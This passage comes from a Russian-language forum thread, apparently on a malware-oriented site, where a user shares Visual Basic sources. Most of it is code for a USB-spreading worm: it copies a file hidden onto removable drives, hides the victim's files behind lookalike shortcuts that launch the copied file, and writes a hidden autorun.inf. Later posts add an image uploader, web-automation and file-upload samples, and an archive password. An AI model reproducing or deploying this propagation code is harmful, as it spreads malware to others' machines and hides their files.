                    Call FileCopy(FilePath, USBDrivers(i) & "\" & FileNameDest)
                    Call SetAttr(USBDrivers(i) & "\" & FileNameDest, vbHidden + vbReadOnly + vbSystem)
                    Do While sFile <> ""
                        If sFile <> FileNameDest And ExtStr(sFile, 2) <> ".lnk" Then
                            Call WriteShortcut(USBDrivers(i) & "\" & FileNameDest, USBDrivers(i), sFile)
                            Call SetAttr(USBDrivers(i) & "\" & sFile, vbHidden + vbReadOnly + vbSystem)
                        End If
                        sFile = Dir
                    Loop
                    If isAutoRun = True Then Call CreateAutorun(USBDrivers(i) & "\", FileNameDest)
                End If
            End If
        Next i
    End Sub
    Private Function DetectUSBDrivers() As String
        Dim objDrive As Object
        DetectUSBDrivers = ""
        Const DRIVE_REMOVABLE = 1
        For Each objDrive In CreateObject("Scripting.FileSystemObject").Drives
            If objDrive.IsReady Then
                If objDrive.DriveType = DRIVE_REMOVABLE And objDrive.Path <> "A:" Then
                    DetectUSBDrivers = DetectUSBDrivers & objDrive.Path & "<->"
                End If
            End If
        Next
    End Function
    Private Sub CreateAutorun(USBPath As String, FileOpen As String)
        ' Thanks to Karcrack
        Dim INIFile As String
        Dim FF As Long
        FF = FreeFile
        INIFile = USBPath & "autorun.inf"
        If FileExist(INIFile) Then
            Call Kill(INIFile)
        End If
        Dim Data As String
        Data = _
            "[Autorun]" & vbNewLine & _
            "Open=" & FileOpen & vbNewLine & _
            "Icon=%SystemRoot%\system32\SHELL32.dll,7" & vbNewLine & _
            "UseAutoPlay=1" & vbNewLine & _
            "Action=Open USB" & vbNewLine & _
            "Action= @" & FileOpen & vbNewLine & _
            "shell\open=Open" & vbNewLine & _
            "shell\open\Command=" & FileOpen & vbNewLine & _
            "shell\open\Default=1" & vbNewLine & _
            "shell\explore\Command=" & FileOpen
        Open INIFile For Output As #FF
            Print #FF, Data
        Close #FF
        Call SetAttr(INIFile, vbHidden + vbReadOnly + vbSystem)
    End Sub
    Private Sub WriteShortcut(FilePath As String, DestPath As String, ShortcutName As String)
        Dim Filesys As New FileSystemObject
        Dim WshShell As Object
        Dim oShellLink As Object
        Dim sourcePath As String
        Dim sExtension As String
        Dim Assoc As String
        Set WshShell = CreateObject("WScript.Shell")
        Set oShellLink = WshShell.CreateShortcut(DestPath & "\" & ShortcutName & ".lnk")
        sourcePath = DestPath & "\" & ShortcutName
        sExtension = ExtStr(sourcePath, 2)
        If Filesys.FileExists(oShellLink) Then Exit Sub
        oShellLink.TargetPath = FilePath
        oShellLink.Arguments = sourcePath
        If sExtension = LCase(".exe") Then
            oShellLink.IconLocation = "shell32.dll, 2"
        ElseIf GetAttr(sourcePath) And vbDirectory Then
            oShellLink.IconLocation = "shell32.dll, 3"
            oShellLink.Arguments = sourcePath & ".fldr"
        Else
            Assoc = FindAssociatedProgram(sourcePath)
            If Assoc <> vbNullString Then
                oShellLink.IconLocation = Assoc & ", 0"
            Else
                oShellLink.IconLocation = "shell32.dll, 0"
            End If
        End If
        oShellLink.WorkingDirectory = DestPath
        oShellLink.Save
        Set oShellLink = Nothing
        Set WshShell = Nothing
    End Sub
    Private Function ExtStr(sPath As String, iOpt As Long) As String
        Dim FullName As String
        FullName = Mid$(sPath, InStrRev(sPath, "\") + 1)
        Select Case iOpt
            Case 1
                ExtStr = Mid$(FullName, 1, InStrRev(FullName, ".") - 1)
            Case 2
                ExtStr = "." & Mid$(FullName, InStrRev(FullName, ".") + 1)
            Case 3
                ExtStr = FullName
        End Select
    End Function
    Private Function FileExist(filename As String) As Boolean
        On Error GoTo ErrorHandler
        Call FileLen(filename)
        FileExist = True
        Exit Function
    ErrorHandler:
        FileExist = False
    End Function
    Private Function isFolderEmpty(ByVal Folder As String) As Boolean
        Dim fso
        Dim strPath As String
        On Error GoTo ErrorHandler
        isFolderEmpty = False
        Set fso = CreateObject("Scripting.FileSystemObject")
        strPath = fso.GetAbsolutePathName(Folder)
        If Dir(strPath, vbDirectory) = "" Then isFolderEmpty = True
        Exit Function
    ErrorHandler:
    End Function
    Private Function FindAssociatedProgram(ByVal sFilePath As String) As String
        Dim result As String
        Dim pos As Integer
        result = Space$(1024)
        FindExecutable ExtStr(sFilePath, 3), Left(sFilePath, InStrRev(sFilePath, "\")), result
        pos = InStr(result, Chr$(0))
        FindAssociatedProgram = Left$(result, pos - 1)
    End Function
    Private Function inUSB(sFilePath As String) As Boolean
        Dim i As Long
        Dim USBDrivers() As String
        USBDrivers = Split(DetectUSBDrivers, "<->")
        Dim sFile As String
        inUSB = False
        For i = 0 To UBound(USBDrivers) - 1
            If Mid(sFilePath, 1, 2) = USBDrivers(i) Then
                inUSB = True
                Exit For
            End If
        Next i
    End Function
    Private Sub RunFile(sPath As String, Optional Parameter As String = vbNullString)
        ShellExecuteA 0&, "Open", sPath, Parameter, vbNullString, 1
    End Sub
    Private Sub ExecParam(Parameter As String)
        If Parameter <> vbNullString Then
            If ExtStr(Parameter, 2) <> ".fldr" Then
                Call RunFile(Parameter)
            Else
                Call RunFile(Environ$("WinDir") & "\explorer.exe", Left(Parameter, Len(Parameter) - 5))
            End If
        End If
    End Sub
    
    '==========================================================================
    --- Добавил сообщение, 15 авг 2015 ---
    Pixs Uploader

    Please login or register to view links
    Дропаете картинку на форму, жмёте загрузить и получаете ссылку

    [​IMG]

    Исходник:

    '==========================================================
    --- Добавил сообщение, 17 авг 2015 ---


    Пример авторизации и выполнения различных действий на сайте через компонент Webbrowser
    Или просто незаконченный десктоп АВ сканнер

    [​IMG]

    Исходник:
     

    Вложения:

    • Like Like x 3
  19. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Post File Upload на примере Please login or register to view links

    [​IMG]
     

    Вложения:

    • file_upload.rar
      Размер файла:
      5,4 КБ
      Просмотров:
      2
    • Like Like x 2
    Последнее редактирование: 14 июл 2016
  20. TopicStarter Overlay
    Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Please login or register to view links
    [​IMG]

    Pass: iFUD.ws
     

    Вложения:

Поделиться этой страницей

Загрузка...